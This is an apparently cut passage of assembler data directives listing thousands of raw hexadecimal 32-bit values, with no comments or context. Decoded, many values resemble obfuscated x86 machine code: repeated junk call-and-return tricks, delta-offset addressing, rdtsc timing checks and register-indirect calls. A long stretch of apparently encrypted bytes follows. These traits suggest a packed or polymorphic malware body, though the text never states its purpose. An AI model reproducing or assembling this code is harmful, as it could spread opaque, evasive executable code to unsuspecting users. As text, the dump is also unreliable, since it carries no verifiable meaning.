4EB5Fh, 3000000h, 72125B5h, 759D2906h, 8D060726h dd 7078585h, 0F88B6606h, 89F78B50h, 9D892404h, 60732D5h dd 0BF66006Ah, 9D291E52h, 6070695h, 0BF66006Ah, 858D1DF3h dd 60B087Eh, 83FEB70Fh, 6A05C0h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 50EE6FC3h, 7E9h, 35BA4D00h dd 4A25B2D8h, 53240489h, 0E9D98B60h, 11h, 0BA8E8909h, 0DEFAE468h dd 9D50BA26h, 0F685232Eh, 815E6186h, 0F77741F7h, 6A006A09h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 37EC356h, 12A73089h, 6AF1B70Fh, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0D09C808h, 7C5FBEF6h, 2BE04ABh, 604BA6B5h, 2139858Bh dd 0AE90607h, 7D000000h, 0BB7ED3B5h, 0B0E1E1C0h, 95FF6171h dd 60704C1h, 2749B58Bh, 9D8D0607h, 60AA64Fh, 2B98D89h dd 0D3FF0607h, 74BE6652h, 0DE815EBBh, 4C93BC14h, 32F185FFh dd 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 0BA6462C3h, 0BD3318C6h, 6070DB1h, 7EBE9h dd 0E800h, 815D0000h, 0B0888EDh, 0DDB58B06h, 89060725h dd 7127585h, 15BD8106h, 0D006072Ch, 0F000007h, 18486h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 0DFA98C07h, 958B600Fh, 6073025h, 61A2F580h dd 2840Fh, 0F28B0000h, 15C19D8Bh, 0F18B0607h, 100E381h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 0D6C8BFC3h, 6AE328D0h, 0E960FAEAh, 10h, 87557CD1h dd 0EC09D96Dh, 74251C06h, 9BBC073Ch, 2EA857B9h, 0DB0B612Eh dd 0B0850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 45B5DC3h, 0A051A936h, 850F602Bh dd 6, 127DB509h, 9D8B0607h, 6071AE9h, 31BD8361h, 60B07h dd 0E840Fh, 41BF0000h, 0E953BDF5h, 72h, 77F7BF66h, 73185C7h dd 1060Bh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 5C4F28C3h, 591D7424h, 3232BB60h dd 0F88B7CDDh, 0FA8B6661h, 31E9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0FC7DD294h dd 85C7FB8Bh, 60B0731h, 0 dd 72DB533h, 9D8D0607h, 60715C1h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 96C35242h, 495B5068h, 0B3ECE781h dd 0B70F77E4h, 0D59D89FAh, 81060732h, 0FFFEFF23h, 0DB8C66FFh dd 29BD03h, 0C3F60607h, 50840F04h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 59E9C352h, 135195FFh, 6A0607h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 15AFB4C3h, 24048950h dd 27BB6660h, 60C580EBh, 0E9F98B61h, 3A9h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 6AC35242h, 8E9h dd 0B259D600h, 9BD4253Ch, 0F00B0DAh, 84h, 0E470E600h, 0AE96071h dd 21000000h, 1E0F8219h, 0F0125F74h, 0DD9D2BE3h, 61060707h dd 6AD8B60Fh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 2B19C353h, 8BACB4BDh, 70E1DB5h dd 7EF68106h, 0BA5FD7FAh, 6, 1B93BF66h, 0C1F9C38Bh, 66F504E8h dd 6AE2F7h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 73BA1BC3h, 0D82B3C50h, 188E0Fh, 13E90000h dd 0EA000000h, 10DBF206h, 0D7BFD5ADh, 231420F6h, 0F971D46Bh dd 0E993CC09h, 8, 0FD46D676h, 0ED62431Ah, 0C8B0F50h, 0E9000000h dd 7, 649DB663h, 934C9AEFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 25C35343h, 2330C52Ah, 0FE9AFA7h, 5000000h dd 5EA3A396h, 0B286DC5Fh, 38C9F333h, 8B669FD8h, 15B5FFF9h dd 6A06072Ch, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 5685C352h, 0C083F7BFh, 81605F7Ch dd 0AB4ED6D0h, 0A59D335Ch, 6106072Eh, 16B595FFh, 8E80607h dd 0C6000000h, 0A2610537h, 0E96E94BBh, 8, 0D4881E7Bh, 0DD96673Ch dd 8900B05Fh, 72E8585h, 5370E606h, 8B71E45Eh, 72049BDh dd 0F613C06h, 20C83h, 0BD095000h, 607027Dh, 0D8B60F5Eh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 5BC35545h dd 0BA1A4944h, 6, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 0F5C35141h, 0A4E64D16h, 8BF2BF0Fh, 0A99529C3h dd 0C1060720h, 6A04E8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 53D732C3h, 0FB6DE9F3h, 0F766C5B6h dd 50006AE2h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 0B58BD7F4h, 60720D9h, 3C5B503h, 0D82B0607h dd 1FE58589h, 81580607h, 348ABCC6h, 0FD82B6Bh, 14888h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 7B820D5Dh, 7B932AFh, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 24B9C352h, 0DAA768F3h, 2A86042Bh, 6600C183h, 3B8719BFh dd 0EE860FD9h, 66000000h, 7C60EF81h, 66D98C66h, 471EDF81h dd 0F18D8952h, 5F06070Fh, 0F04C1F6h, 0C284h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0E7816637h, 0F78BA7FEh, 135195FFh, 6A0607h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0F56BC2C3h, 5A7A41D9h, 13E9h, 788A6D00h, 0BF00AFAh dd 0A192C12Eh, 1CC58E9Ah, 9E25CE92h, 800F5Bh, 2B000000h dd 3DF88BC3h, 834h, 49860Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0AEA823C3h dd 834C277h, 2FE9CBh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 0C44F00C3h, 8BE924FFh dd 6860FC0h, 2B000000h, 71631B5h, 8BC38B06h, 52006AD8h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 9AA26631h, 2E3D85C7h, 0F7510607h, 0C08B530Ah, 31C68166h dd 15BD8155h, 0D006072Ch, 0F000007h, 2E85h, 0D1BD8B00h dd 0FF06071Bh, 72C1585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 97818584h, 0FF3414B3h dd 72C15B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 3D6C60CDh, 95FFACCDh, 60716B5h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0C1C35343h, 50F725B1h dd 0E97D3B90h, 5, 31F6F635h, 6A9003h, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 0C53C2C3h dd 68F0Fh, 0B58B0000h, 6072721h, 6AF28Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0E8624CC3h dd 5, 1625165Dh, 0BE665EBDh, 0BF66A550h, 8E0FA33Fh, 0Ch dd 7383F781h, 8D8925AAh, 60712CDh, 47D8D89h, 0BD8B0607h dd 60710B5h, 0A1FC83BEh, 45BD894Bh, 6A060700h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 0E396C357h, 6E9h, 9C5C2700h, 0E83D28CAh, 0Ah, 66CD7F3Ah dd 468421F6h, 0BD8B4683h, 60728CDh, 1D95015Eh, 0E906070Ch dd 0Bh, 0F60FEAC1h, 0D695ED08h, 89DA74DBh, 70C359Dh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0EBD10045h, 7A079A60h, 54BE66A0h, 10E801h, 20C20000h dd 0DB1B960h, 0DE9D32Eh, 79FE43D6h, 0B58B291Fh, 60702C9h dd 13E9h, 0F5020500h, 89777BEAh, 0B30308DCh, 0D8B27DA0h dd 8381F9B9h, 0F837E95Eh, 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 358133C3h, 683C47FDh dd 50006A60h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 8BE543D3h, 0D0B70F52h, 0FFFFFEB9h, 6D9D8BFFh dd 2106071Fh, 70DC58Dh, 79BD8906h, 2106071Dh, 712218Dh dd 8F0F06h, 8B000000h, 70DC58Dh, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0AFA342A2h dd 6296A28Ah, 2870F82h, 8B000000h, 83E78AFBh, 850F01E1h dd 0Dh, 870Fh, 66570000h, 2859C881h, 218D8B5Fh, 6A060712h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 0DDC5C357h, 6728C46Ah, 24AD8533h, 0E1830607h dd 1E850F01h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 2E6DC350h, 6A606173h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 0F649C356h, 0E0963092h, 0FFFEB9AEh, 6AFFFFh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0DEBC1CC3h, 0BDCB81F0h, 663366AAh, 0CA77CB81h, 12AD8D21h dd 8B600607h, 71F25BDh, 25953106h, 61060710h, 141D8D21h dd 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 9E47AFC3h, 0B7529472h, 8D8B5F40h, 60712ADh dd 9B48D881h dd 0E1832D17h, 3850F01h, 66000000h, 8D8BF18Bh, 607141Dh dd 0F01E183h, 2685h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 0BE695405h, 0A99D2BE8h dd 61060701h, 50006A60h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 261A9EDFh, 0B9AB8FBEh, 0FFFFFFFEh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 2EC35747h dd 0A15BE87Eh, 8D21F58Ah, 60715C1h, 798D21FCh, 6A06071Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 0B0D9C357h, 0A01E2319h, 29F141BEh, 7227585h dd 0F2816606h, 8D8B18CEh, 60715C1h, 68D0Fh, 0B52B0000h dd 6070E45h, 0F01E183h, 2585h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 39F8BD87h dd 32B98D29h, 8D8B0607h, 6071B79h, 36E78166h, 1E18351h dd 23850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0D0816CC3h, 22335E5Fh, 6A6061F5h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 8BB0C355h, 714899Dh, 2D950106h, 0B9060715h dd 0FFFFFFFEh, 3089958Bh, 8D210607h, 6072E3Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 4DC35040h, 16D5B58Bh dd 8D210607h, 60710B9h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 0B7C35242h, 0C1C6B52Eh, 0FD9D2956h, 5B060706h dd 2E3D8D8Bh, 9D8B0607h, 60706B9h, 0F01E183h, 0C85h, 0E18D8900h dd 33060713h, 7212D95h, 0B98D8B06h, 0F060710h, 0E183C0B7h dd 6850F01h, 89000000h, 730899Dh, 20E96106h, 0F7000000h dd 0B5681h, 6 dup(0) dd 0E9000000h, 542h, 8866F522h, 23015ABAh, 0C2A0BB55h dd 5F3D1EF4h, 0F9D78491h, 4CC90E5Eh, 0B363310Fh, 17FCCAA8h dd 79986644h, 4E3204E2h, 0D27EE5C7h, 0D8906A84h, 65C68C13h dd 0DF0848Fh, 4E0D04A8h, 2D2EE72Bh, 0CB90814Fh, 0AEAD64A8h dd 8ECD478Bh, 7F440C6Bh, 0FED6EA3h, 0AB89D241h, 3F2536DDh dd 0A5C89381h, 0FC40FBDEh, 121E411Ah, 3E1DF8B6h, 2AF4CB5Bh dd 0CE8C72E9h, 0BB311447h, 513724EDh, 0B9DC7F93h, 47540FF2h dd 7EC76B70h, 3AC1B698h, 0DE88B14Bh, 8140h, 0D046700h dd 0B52D2B4Eh, 0C76B4C2Eh, 0AB8ED17Eh, 0C76B461Eh, 0C6957C7Eh dd 0A9B25FA3h, 52295D86h, 92E9CB05h, 0F676C98Eh, 1B874EABh dd 94EC9938h, 19FDE88h, 0C6000000h, 654B1004h, 6B8466EDh dd 0C6097EC7h, 30E428E3h, 4EC4082Bh, 0AB69270Dh, 0E0C68DB0h dd 0C76B7759h, 0D6B9FC7Eh, 1E3DD71Bh, 0FF5CB7FBh, 7557DEDCh dd 0FA7EC76Bh, 6E55C3B7h, 5D22EA31h, 0EAC89381h, 2CE9F51Ch dd 96450C2Fh, 110449B8h, 31E3274Ah, 4048072Ah, 0A320E57Bh dd 38C97EDEh, 0A075391Ch, 8E10D5BBh, 750863C5h, 46148A6Dh dd 6F6D90CBh, 0D6F962B1h, 0A8682C0Fh, 0B418332Fh, 9C758873h dd 26D59CBFh, 0CC685477h, 92EBCD54h, 0F6707EC7h, 0C7938D6Fh dd 20CF127Eh, 31D6AD3Dh, 0DE888F64h, 8627h, 0D24A4E00h dd 0C76B694Bh, 54EA07Eh, 59BAFC23h, 8A4E3174h, 69ADD08Bh dd 4D91B4A7h, 307497C4h, 90577AE1h, 89ACAF64h, 0D986FD8Fh dd 29F5CA92h, 0C3916FECh, 92EB8552h, 57C70E88h, 0D14185A8h dd 0CD7B678Ah, 0DA4451F6h, 450ADE87h, 0BA3ED8DDh, 0ABECCF79h dd 67h, 131104D2h, 0C76BAA8Ch, 2EB52F7Eh, 7EC76B4Ch, 30DF8ED1h dd 0D18A8C4Ah, 24EF33EEh, 0B7EB1437h, 5CFF16C0h, 1F39B176h dd 9905CCBAh, 4AD140B6h, 6B694BD2h, 0ABEE7EC7h, 4B1004C8h dd 9B652A28h, 293F7875h, 0FFD66346h, 277EC833h, 2CEA7E45h dd 0F59477E4h, 0DE87E890h, 2729F9BEh, 0A3CAC6BAh, 17FC0h dd 4A60000h, 0AF91180Ch, 347EC76Bh, 9E5C42F1h, 4601E477h dd 294C0F02h, 0EC8AF1Dh, 5226D502h, 2ACCCD03h, 234615FEh dd 45CFAD5Ch, 0D38889DCh, 543AE9B0h, 0BFF146CDh, 0DD004378h dd 7A881ADFh, 77039359h, 0D69DC09Bh, 91804427h, 0F31EECCAh dd 60384568h, 0B178C10Eh, 35DC067Dh, 9A7668A9h, 856312C1h dd 0DE015AB7h, 0C1E4779Ah, 5985FA02h, 3DC5A3B8h, 76CDEB78h dd 1AFC3374h, 10AF9241h, 0E48F2275h, 17B16h, 0D1483D00h dd 6B694BD2h, 0B9A07EC7h, 2C6698E4h, 0E897DABFh, 3D007B02h dd 82C578C1h, 65F61B5Fh, 0CF41FF87h, 2CE5A98Ch, 49C80C2Fh dd 66ABEF12h, 5DB78471h, 0FFAEFBD9h, 0E07B98DCh, 1B6094BDh dd 0E69C7E05h, 0DE2178C0h, 3B80882Fh, 4426AD25h, 0C978C0E6h dd 32DFA386h, 187E4329h, 52F1E906h, 159D13F6h, 0DE34169Dh dd 76B978C0h, 3E91F493h, 67FAE48Fh, 21000000h, 878FD048h dd 0F269A8D4h, 735908CFh, 84D73DFBh, 2AB79A61h, 0FEC76B28h dd 0BED74ECh, 90FEC76Bh, 0AAED6A4Dh, 6B987A87h, 8E20FEC7h dd 9B753329h, 6689D243h, 4EC4F09Fh, 4023EA0Dh, 9E8458C0h dd 462932E0h, 6B3F41C8h, 3D047EC7h, 4463C286h, 947221C7h dd 0AB0Eh, 3DD49200h, 0C3E675A1h, 632A4DFCh, 0D24A1B80h dd 0C76B694Bh, 0EC6FA77Eh, 0DA1D02C9h, 3CE277F7h, 8AE4CF56h dd 66A978BFh, 4912FF43h, 0B0749D6Bh, 0C04B4729h, 7E7D7E78h dd 0EDD6B80Ch, 3016C508h, 0BA4F31B8h, 91D478BFh, 11E6F3AEh dd 6278BFB9h, 848D492Eh, 0EA6FF9D7h, 0F8C74E34h, 7472B4CCh dd 0DD005BB6h, 73B63316h, 1F050C50h, 0B4A5B698h, 4D61ED72h dd 0C05E902h, 0B1AA6727h, 0EC305302h, 11D3B126h, 186A410h dd 25EB2F52h, 4C541336h, 0D8342877h, 8265F61Ah, 8C958DF2h dd 0FE213AD9h, 1BA28837h, 6CA99A4Ch, 39A886C9h, 2309D148h dd 0BC7FCD9Ch, 65834A78h, 0D374FE2Dh, 83C7EA99h, 29E7CD8Eh dd 1A9073E8h, 7396C54Ch, 5D4FC266h, 269D656Bh, 604615FCh dd 0C203E19Bh, 2003D766h, 2635DCAAh, 0C9470503h, 27EBAF92h dd 97051134h, 957E3C20h, 0F5F493C6h, 641F03ADh, 8A54BD81h dd 94584C8Bh, 758F3089h, 0B0DCA3C6h, 0CD3F665h, 60B17F5Dh dd 3DCD8FBh, 79000000h, 13041520h, 30E12548h, 4FC4082Bh dd 71A5E90Ch, 9283C7EAh, 0B362A6C9h, 0D14185A8h, 0ED23678Ah dd 0D074B6Eh, 502A2B4Eh, 405E089h, 83000000h, 48704E8h dd 24248B24h, 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch dd 6D682404h, 89000063h, 0B9512434h, 65653781h, 704B9FB8h dd 1E21056Bh, 0C8296A2Ah, 2A1E212Dh, 8B54596Ah, 0C4812434h dd 4, 89C38953h, 1C8B085Eh, 4C48124h, 0FF000000h, 815E2434h dd 4C4h, 2434FF00h, 4C48158h, 0E9000000h, 0FFFC620Eh, 0E5B83F09h dd 3060B18h, 0F5E0FFC5h, 3F59D311h, 0F92496C7h, 0DF30BE6Fh dd 0DF33595Bh, 0A54306A9h, 4774CFD3h, 0D415794Fh, 7D1BFB7Ah dd 0DE45A548h, 4718AF4Eh, 0C7538754h, 943EED69h, 1A02F4BAh dd 5417F56Fh, 0F413E013h, 9C3C8341h, 0E25B9309h, 6041726Fh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 8CC35141h dd 8B9BD89h, 0D38B0607h, 31399D31h, 85C70607h, 6072C15h dd 7D0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 0B4C35343h, 335B62D9h, 8B0Fh, 8D8B0000h, 60710A5h dd 55006A61h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 0BF0FA94Ah, 6E8DEh, 62BD0000h, 0DA249A97h dd 8C18589h, 0EB580607h, 0E99D6107h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 5BC35646h dd 8B6653E5h, 55006AF1h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 0EB81663Dh, 13E9FD19h, 19000000h dd 0A0038E1h, 253B18EEh, 0B42D5339h, 208045DCh, 0C18BC1BEh dd 75E9h, 8C666000h, 0F04A8D8h, 3584h, 0FF016A00h, 71B2DB5h dd 1F858D06h, 0FF060A7Bh, 0ED8589D0h, 8B060721h, 0CEFC1FEh dd 4000068h, 6A006A20h, 0D685702h, 0FF000100h, 721ED95h dd 32E906h, 85C60000h, 6072C05h, 30DF6856h, 0B5FFA9C5h dd 60731ADh, 7B1F858Dh, 0D0FF060Ah, 5ED8589h, 858D0607h dd 6071279h, 6A206A50h, 95FF5605h, 60705EDh, 0E0C1C361h dd 8F4FEB06h, 0ABFA251Ch, 0DAC6A108h, 0D41CA4ACh, 0E45C5CD2h dd 3134CE00h, 27CE1BF5h, 34D129B3h, 2AC7DD5Bh, 1BCE17E6h dd 0DB6734DFh, 0D28B00A6h, 0EA1A004Ah, 0D5A3h, 199C0000h dd 0FEBDh, 0FBFE3Bh, 0B4870000h, 202352DDh, 339C9ED9h dd 0CE977E7h, 0F000013h, 381h, 0D38B6600h, 5898D8Bh, 0BD830607h dd 607218Dh, 6C850F00h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0D2F9C351h dd 0B79314D0h, 8015A7F9h, 0B829EEh, 80000000h, 4C2F8DDh dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 0AA17998Ah, 0AEFD322Eh, 418D8972h, 0F060728h dd 48Ah, 0D9BA6600h, 2DBD8BD1h, 8B060725h, 83CF8AC0h, 70FF5BDh dd 9750006h, 3001BD83h, 74000607h, 8B535013h, 4D0B8C0h dd 9D8D0000h, 609AA7Bh, 585BD3FFh, 3001BD83h, 74000607h dd 0B8535011h, 4D0h, 0A9C89D8Dh, 0D3FF0609h, 6A585Bh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 0F1A6FC3h, 689h, 22D98100h, 6A764E53h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 5CFDC352h dd 51858972h, 8B06071Bh, 50006AC0h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 89C35875h, 0EE970F0h dd 94000000h, 98192714h, 0AEF0A7AEh, 4D811B8Fh, 6C858D17h dd 6A060B1Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 0FAE1C356h, 0FAC78DA9h, 3444985Fh dd 7E950h, 585E0000h, 0B16EF3E2h, 240489D4h, 4918D23h dd 858D0607h, 60B1B29h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0D8C35040h, 0F8CD5292h, 0C3B96650h, 2404895Ch dd 14E9h, 0B7398100h, 0A4F6C3CFh, 5BD874A1h, 9F1C80F1h dd 4F5493E3h, 9595FFC8h, 0F060719h, 382h, 0D18B6600h, 424448Bh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 87C35040h dd 0A6FDFA1Dh, 5022DD0Dh, 99858955h, 8B060707h, 712DD95h dd 54858906h, 6A060B1Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 1773C352h, 0EA81D814h dd 738DB716h, 824448Bh, 0FE9h, 0B4EF9E00h, 1E293C96h, 45F0E4EEh dd 4CD03A5Ch, 1B688589h, 8B66060Bh, 79BD83F9h, 6072Ah dd 0E9850Fh, 0F9510000h, 585C659h, 4706072Ch, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 19C35040h, 572F3DC6h dd 0E4DA8018h, 4E8h, 9AA7D200h, 50D38BD4h, 448BF88Bh, 870F0424h dd 2, 8BD38Bh, 0CE8h, 2F8B4000h, 30071095h, 0C511CF75h dd 44895995h, 0FBB50424h, 0DE858h, 0CD090000h, 3A7FF140h dd 0D0C50A11h, 8184E8A1h, 0E71595C7h, 8E0F5F0Ah, 6, 0DE1BD8Bh dd 0B5FF0607h, 60731ADh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 45C35141h, 0FD6B54Dh, 58Eh, 0F2816600h dd 858D3A6Fh, 60A7B1Fh, 0B8A0Fh, 6E90000h, 68000000h, 61C03B55h dd 0F98B6697h, 7E8D0FFh, 5E000000h, 9ADFC48h, 0CB8B7378h dd 7985895Fh, 8306072Ah, 70BE1BDh, 850F0006h, 9Eh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 81C35040h, 9783CD4Ah dd 85C6D78Bh, 6072C05h, 0AA70BF47h, 0C3681DD9h, 0B94BB35Eh dd 44CD97FEh, 1F240481h, 0F3E5C57h, 685h, 0C58D8B00h, 0FF060715h dd 731ADB5h, 21BD8B06h, 8D060716h, 0A7B1F85h, 35BD8906h dd 60060716h, 10ED9533h, 0F78B0607h, 6AD0FF61h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 7FDFC350h, 4A5DFCD8h, 9D018DD1h, 607321Dh, 0BE18589h dd 0BD830607h, 6072B85h, 0E6850F00h, 0F5000000h, 2C0585C6h dd 6A560607h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 6861C353h, 8E89E537h, 0EE85250h dd 51000000h, 0D6B31920h, 0F0B6ECD9h, 32005007h, 0F52504Fh dd 59585A31h, 0BA66310Fh, 585AD337h, 0E243481h, 6A5A9688h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 7BF1C355h, 8AB83A74h, 0ADB5FFE8h, 6A060731h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 2BF2C355h, 0D8F4E05Ch, 0F903A6DBh, 7B1F858Dh dd 6E9060Ah, 9F000000h, 9B3D5A9Eh, 0E9D0FF8Dh, 0Ch, 50D2791Bh dd 0C8BFA025h, 0E328D0D6h, 2B858589h, 0E9600607h, 8, 2181A735h dd 0AD6F641Dh, 2E18D8Bh, 8B610607h, 7109DBDh, 585C606h dd 6C06072Ch, 7E8h, 68908700h, 913AFF9Ah, 9BC5685Ah, 810F778Eh dd 4, 0E1BDBF66h, 0BE240481h, 6A6376D4h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0F6C7C353h dd 0B5FFD950h, 6071B2Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 0FCC35141h, 8589EFA9h, 6070DC1h, 3B24858Dh dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 3CE3FAC3h, 816660E4h, 0E93799F1h, 0Ah, 36F20339h dd 94970C1Fh, 0FF61BE2Ah, 0CBBF0FD0h, 1B588589h, 0B70F060Bh dd 74BD83D1h, 60B1Bh, 0C1850Fh, 0BD8B0000h, 6070071h, 2C0585C6h dd 8B490607h, 730FD95h, 4D0C6806h, 52509ECAh, 11E9h, 0EA599E00h dd 15B3C6B7h, 0B93E092Bh, 0A42F34F7h, 310F05C8h, 585A5957h dd 0E5243481h, 6A12DF64h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 410BC350h, 0D366D0B4h dd 0E53CF2E1h, 1B2DB5FFh, 0F2810607h, 4967DC99h, 3B24858Dh dd 958B0607h, 60706E1h, 0FFCD0FFh, 48Dh, 4FBA6600h, 74858929h dd 6A060B1Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 6E78C353h, 0D739E128h, 0E9B08280h dd 0Bh, 2A0331F6h, 8F814D93h, 6A7CAB54h, 0D6DF8104h, 6862B908h dd 35A7AE02h, 2243481h, 8935A7BEh, 714E99Dh, 0F706806h dd 25B9E232h, 811F0F9Eh, 0F0902404h, 6A1DCEh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0F87DB6C3h dd 2E9A4179h dd 3880F62h, 66000000h, 6AD18Bh, 4DEBA66h, 260995FFh, 820F0607h dd 6, 1B49BD8Bh, 85890607h, 60B1B64h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 0D4C35646h, 1B5C85C7h, 60Bh dd 6AFC0000h, 48F0F00h, 66000000h, 0E8328FB9h, 4, 10000h dd 8B665250h, 0E9310FF8h, 12h, 6EBF568Eh, 0BF95385h, 14E851A1h dd 176FEE2Bh, 585A6530h, 24448B50h, 0D840F04h, 50000000h dd 0CE82BA52h, 310F4100h, 585A88B2h, 5DB1008Bh, 4244489h dd 1333BA57h, 585F24C3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 42C35343h, 0E990500Bh, 9, 86703185h dd 0CB2ACB0Eh, 8B6650B6h, 0B58990FBh, 6072615h, 6A0B6Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 98FB9FC3h, 29BD89h, 858D0607h, 60B1B31h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 25C35747h, 0BC5AE759h dd 0BD8D0BFCh, 23060703h, 70BDD95h, 5CB65006h, 0F240489h dd 8Ch, 7995FF00h, 6A06072Ah, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 3BB6C355h, 0E2B9C72Bh dd 8D6D4891h, 0B1B3BB5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 8A0FE8FBh, 6, 0FE58D89h dd 0CA8B0607h, 8B665350h, 34895FF8h, 52006A24h, 3E8h, 